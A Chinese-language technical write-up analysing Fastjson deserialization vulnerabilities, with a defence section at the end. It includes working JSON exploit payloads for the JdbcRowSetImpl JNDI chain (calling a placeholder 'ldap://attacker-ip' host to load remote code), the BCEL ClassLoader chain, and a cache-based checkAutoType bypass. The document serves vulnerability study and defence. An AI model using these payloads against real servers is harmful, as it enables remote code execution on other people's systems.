fastjson反序列化漏洞总结
字数 1773 2025-08-10 16:34:34
Fastjson反序列化漏洞深度分析与利用指南
一、Fastjson简介
Fastjson是阿里巴巴的开源库,用于处理JSON格式数据的解析和打包,主要功能包括:
- 将JSON字符串转换为Java对象
- 将Java对象转换为JSON字符串
二、漏洞原理分析
1. 核心漏洞点
Fastjson在反序列化时,当JSON字符串中包含@type字段时,会根据该字段指定的类型进行反序列化。这个特性使得攻击者可以控制反序列化的类,从而触发恶意行为。
2. 关键代码流程
- 入口点:
JSON.parseObject()方法 - 解析流程:
- 创建
DefaultJSONParser解析器 - 解析JSON字符串,识别
@type字段 - 通过
TypeUtils.loadClass()加载指定类 - 获取类的反序列化器
- 执行反序列化操作
- 创建
3. 反序列化触发条件
要成功利用Fastjson反序列化漏洞,需要满足以下条件之一:
- 类中存在任意
setXXX方法 - 类中存在
getXXX方法且满足:- 返回值类型为以下之一:
Collection或其子类Map或其子类AtomicBooleanAtomicIntegerAtomicLong
- 只有get方法没有set方法(
getOnly)
- 返回值类型为以下之一:
三、利用方式
1. JdbcRowSetImpl利用链
利用条件:
- Fastjson ≤ 1.2.24
- 目标服务器能出网
- JDK版本符合JNDI注入条件
POC构造:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker-ip:port/Exploit",
"autoCommit":true
}
原理:
- 触发
setDataSourceName()方法设置恶意LDAP地址 - 触发
setAutoCommit()方法内部调用connect() - 通过JNDI注入执行远程恶意代码
2. BCEL ClassLoader利用链
利用条件:
- Fastjson ≤ 1.2.24
- JDK ≤ 8u251
- 不需要出网
利用步骤:
- 准备恶意类并编译为.class文件
- 使用BCEL编码:
byte[] evalByte = getByteFromFile();
String code = Utility.encode(evalByte, true);
String evcodes = "
$$
BCEL
$$
"+code;
- 构造POC:
{
"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader":{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "[BCEL编码后的恶意类]"
}
原理:
- 利用
BasicDataSource的driverClassName和driverClassLoader属性 - BCEL ClassLoader会解码并加载恶意字节码
- 触发静态代码块中的恶意代码
四、高版本绕过技术(1.2.25-1.2.47)
1. 黑白名单机制
Fastjson 1.2.25引入了checkAutoType安全机制:
- 维护黑名单
denyList拒绝危险类 - 支持白名单
acceptList - 默认关闭
autoTypeSupport
2. 缓存绕过技术
利用条件:
- Fastjson ≤ 1.2.47
- 需要先缓存恶意类
绕过步骤:
- 先使用
java.lang.Class类型将恶意类放入缓存:
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
- 再使用缓存的恶意类:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker-ip:port/Exploit",
"autoCommit":true
}
组合POC:
[
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker-ip:port/Exploit",
"autoCommit":true
}
]
3. 绕过原理
java.lang.Class的反序列化器是MiscCodec- 处理时会调用
TypeUtils.loadClass()加载指定类 - 加载的类会被放入
mappings缓存 - 后续使用时直接从缓存获取,绕过黑白名单检查
五、防御措施
- 升级Fastjson:使用最新版本(≥1.2.58)
- 关闭autotype:设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用白名单:配置
ParserConfig.getGlobalInstance().addAccept() - JVM防护:
- 升级JDK(≥8u251)
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
六、调试与分析技巧
-
关键断点:
DefaultJSONParser.parseObject()TypeUtils.loadClass()checkAutoType()- 反序列化器的
deserialze()方法
-
分析工具:
- 使用IDEA调试
- 配合反编译工具查看源码
- 使用面向对象思想分析代码流程
-
测试类示例:
public class Person {
private String name;
private int age;
// setter和getter方法
public void setName(String name) {
System.out.println("setName called");
this.name = name;
}
public String getName() {
System.out.println("getName called");
return name;
}
// 其他方法...
}
通过分析方法的调用情况,可以判断反序列化流程和可利用点。